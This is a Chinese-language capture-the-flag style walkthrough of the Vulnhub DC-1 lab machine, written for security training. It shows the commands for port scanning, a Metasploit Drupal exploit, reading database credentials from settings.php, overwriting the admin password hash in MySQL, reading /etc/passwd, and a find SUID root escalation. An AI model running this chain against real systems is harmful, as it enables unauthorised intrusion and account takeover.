每周打靶 | Vulnhub-DC1靶机渗透实战

1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

0x00前言

这是网络安全自修室每周带星球小伙伴一起实战的第1台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知! 靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!

攻击机:Kali Linux

靶机环境:192.168.241.135

0x01 知识点

  • Drupal CMS
  • Find提权

0x02 信息搜集

通过如下命令,使用ARP协议列出网段内存活的机器,进一步判断靶机的真实地址

sudo arp-scan -l

或者使用nmap 对局域内的主机进行存活扫描,也是可以发现目标靶机

nmap -sn 192.168.241.1/24

端口发现

使用masscan对目标靶机进行全端口探测,需要稍等一会

sudo masscan --min-rate=10000 -p- 192.168.241.135

可以发现存在80端口,访问发现为Drupal的框架

端口扫描

对存活的端口的服务进一步探测

sudo nmap -O -sV -sC 192.168.241.135 -p 22,80,110 -oN result.xml

综上可知,该靶机的操作系统是linux,仅开放了三个端口,分别为80、22、110在未获取到任何账号密码的情况下,80端口的web服务才是最重要的突破口,且web为显而易见的Drupal 框架,可以尝试使用利用工具进行Getshell

0x03 获取权限

既然知道了CMS为drupal,就打开msf搜索相关的利用模块

选择使用第一个,并设置相关配置

use 1

设置目标后,使用exploit -j 命令进行攻击

可以看到直接获取到了webshell

进入shell进行进一步的信息搜集,发现了第一个flag1.txt

可以发现,有flag1.txt,我们打开看一下

翻译可知,每个好的cms都需要一个配置文件,你也一样。提示我们要找到cms配置文件。

然后进入sites/default目录,打开settings.php数据库配置文件

得到数据库账号和密码:dbuser R0ck3t,同时也发现flag2 也赫然在其中显示,并提示我们爆破是行不通的,同时需要进入获取凭证 切换到shell连接mysql,发现不能回显,无法进入交互界面

mysql -udbuser -pR0ck3t

  • 反弹bash,获取到一个可以交互的shell

python -c "import pty;pty.spawn('/bin/bash')" # 获取一个交互shell

  1. 查看网站用户账号密码,发现密码经过加密

select * from users \G;

代码语言:javascript
复制
mysql> select * from users \G;
select * from users \G;
*************************** 1. row ***************************
             uid: 0
            name: 
            pass: 
            mail: 
           theme: 
       signature: 
signature_format: NULL
         created: 0
          access: 0
           login: 0
          status: 0
        timezone: NULL
        language: 
         picture: 0
            init: 
            data: NULL
*************************** 2. row ***************************
             uid: 1
            name: admin
            pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
            mail: admin@example.com
           theme: 
       signature: 
signature_format: NULL
         created: 1550581826
          access: 1550583852
           login: 1550582362
          status: 1
        timezone: Australia/Melbourne
        language: 
         picture: 0
            init: admin@example.com
            data: b:0;
*************************** 3. row ***************************
             uid: 2
            name: Fred
            pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
            mail: fred@example.org
           theme: 
       signature: 
signature_format: filtered_html
         created: 1550581952
          access: 1550582225
           login: 1550582225
          status: 1
        timezone: Australia/Melbourne
        language: 
         picture: 0
            init: fred@example.org
            data: b:0;
3 rows in set (0.00 sec)

根据提示需要进入后台,那直接把admin密码改掉,简单粗暴 直接根据网站本地脚本对设置的密码进行加密

php scripts/password-hash.sh 123456

代码语言:javascript
复制
php scripts/password-hash.sh 123456

password: 123456 hash: SDqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP

www-data@DC-1:/var/www$

  • 将加密的密码更新到数据库中
代码语言:javascript
复制
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='SDRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;
select * from users \G;

通过robots.txt知道登录地址,通过admin登录成功查看flag3 使用设置好的密码:123456,登陆admin账户,在content页面发现了flag3

提示我们需要去查找密码,可以从shadow上着手 这里提到了shadow这个单词,于是立即想到/etc/passwd,先打开看看再说 查看用户发现flag4用户

代码语言:javascript
复制
cat /etc/passwd
shell输出
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/bin/sh
bin❌2:2:bin:/bin:/bin/sh
sys❌3:3:sys:/dev:/bin/sh
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/bin/sh
man❌6:12:man:/var/cache/man:/bin/sh
lp❌7:7:lp:/var/spool/lpd:/bin/sh
mail❌8:8:mail:/var/mail:/bin/sh
news❌9:9:news:/var/spool/news:/bin/sh
uucp❌10:10:uucp:/var/spool/uucp:/bin/sh
proxy❌13:13:proxy:/bin:/bin/sh
www-data❌33:33:www-data:/var/www:/bin/sh
backup❌34:34:backup:/var/backups:/bin/sh
list❌38:38:Mailing List Manager:/var/list:/bin/sh
irc❌39:39:ircd:/var/run/ircd:/bin/sh
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌65534:65534:nobody:/nonexistent:/bin/sh
libuuid❌100:101::/var/lib/libuuid:/bin/sh
Debian-exim❌101:104::/var/spool/exim4:/bin/false
statd❌102:65534::/var/lib/nfs:/bin/false
messagebus❌103:107::/var/run/dbus:/bin/false
sshd❌104:65534::/var/run/sshd:/usr/sbin/nologin
mysql❌105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4❌1001:1001:Flag4,,,:/home/flag4:/bin/bash

直接打开flag4.txt,获取到其中内容

提示我们用相同的方式进入root 目录,可以联系到find suid提权 先查看下find是否存在suid权限

find / -perm -u=s 2>/dev/null

很明显find是具备条件的,直接获取到root 权限

find / -exec /bin/bash -p ;

打开root目录下的最后一个flag,至此整个靶机完成通关!

0x04 总结

  • drupal是较为常见的CMS,有众多利用工具,熟练掌握msf,将Getshell的过程可以大大简化
  • shell交互上可以使用python的pty模块快速获取一个交互性强壮的shell便于连接数据库查看回显
  • 读懂提示可以少走很多弯路
  • find的提权注意加-p进入交互模式才能拿到bash